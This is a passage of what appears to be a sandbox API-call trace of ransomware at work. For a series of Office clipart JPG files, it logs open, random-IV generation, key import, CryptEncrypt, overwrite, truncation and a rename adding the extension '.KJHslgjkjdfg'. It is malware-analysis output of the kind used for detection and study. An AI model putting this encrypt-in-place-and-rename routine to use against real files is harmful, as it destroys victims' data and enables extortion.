lpOverlapped=0x0) returned 1 [0184.259] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.259] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.259] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.259] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.259] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.259] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x396a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x396a, lpOverlapped=0x0) returned 1 [0184.260] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3970, dwBufLen=0x3970 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3970) returned 1 [0184.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.261] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3970, lpOverlapped=0x0) returned 1 [0184.261] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.261] SetEndOfFile (hFile=0x114) returned 1 [0184.264] GetProcessHeap () returned 0x2a0000 [0184.264] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.264] GetProcessHeap () returned 0x2a0000 [0184.264] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.kjhslgjkjdfg")) returned 1 [0184.266] CloseHandle (hObject=0x114) returned 1 [0184.266] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0184.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.267] GetProcessHeap () returned 0x2a0000 [0184.267] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.267] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.267] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0184.270] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.270] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.270] GetProcessHeap () returned 0x2a0000 [0184.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.270] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.270] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.270] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.270] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.270] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.270] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.270] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.271] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.271] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.271] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.271] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.271] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x693e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x693e, lpOverlapped=0x0) returned 1 [0184.272] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6940, dwBufLen=0x6940 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6940) returned 1 [0184.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.272] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6940, lpOverlapped=0x0) returned 1 [0184.273] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.273] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.273] SetEndOfFile (hFile=0x114) returned 1 [0184.276] GetProcessHeap () returned 0x2a0000 [0184.276] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.276] GetProcessHeap () returned 0x2a0000 [0184.276] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.kjhslgjkjdfg")) returned 1 [0184.277] CloseHandle (hObject=0x114) returned 1 [0184.278] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0184.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.361] GetProcessHeap () returned 0x2a0000 [0184.361] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.361] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.367] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.367] GetProcessHeap () returned 0x2a0000 [0184.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.368] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.368] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.368] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.368] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcb0a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcb0a, lpOverlapped=0x0) returned 1 [0184.370] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcb10, dwBufLen=0xcb10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcb10) returned 1 [0184.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.371] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcb10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcb10, lpOverlapped=0x0) returned 1 [0184.371] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.371] SetEndOfFile (hFile=0x114) returned 1 [0184.375] GetProcessHeap () returned 0x2a0000 [0184.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.375] GetProcessHeap () returned 0x2a0000 [0184.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.kjhslgjkjdfg")) returned 1 [0184.386] CloseHandle (hObject=0x114) returned 1 [0184.386] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0184.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.387] GetProcessHeap () returned 0x2a0000 [0184.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.387] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.387] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.387] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.390] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.390] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.390] GetProcessHeap () returned 0x2a0000 [0184.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.390] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.390] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.390] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.390] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.390] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.390] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.391] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.391] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.391] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6cec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6cec, lpOverlapped=0x0) returned 1 [0184.392] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cf0, dwBufLen=0x6cf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cf0) returned 1 [0184.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6cf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6cf0, lpOverlapped=0x0) returned 1 [0184.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.393] SetEndOfFile (hFile=0x114) returned 1 [0184.396] GetProcessHeap () returned 0x2a0000 [0184.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.396] GetProcessHeap () returned 0x2a0000 [0184.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.kjhslgjkjdfg")) returned 1 [0184.398] CloseHandle (hObject=0x114) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0184.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.400] GetProcessHeap () returned 0x2a0000 [0184.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.401] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.401] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.401] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0184.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.404] GetProcessHeap () returned 0x2a0000 [0184.404] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.404] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.404] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.404] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.404] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.404] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.404] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.404] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.404] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.405] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x98c7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x98c7, lpOverlapped=0x0) returned 1 [0184.406] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x98d0, dwBufLen=0x98d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x98d0) returned 1 [0184.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, 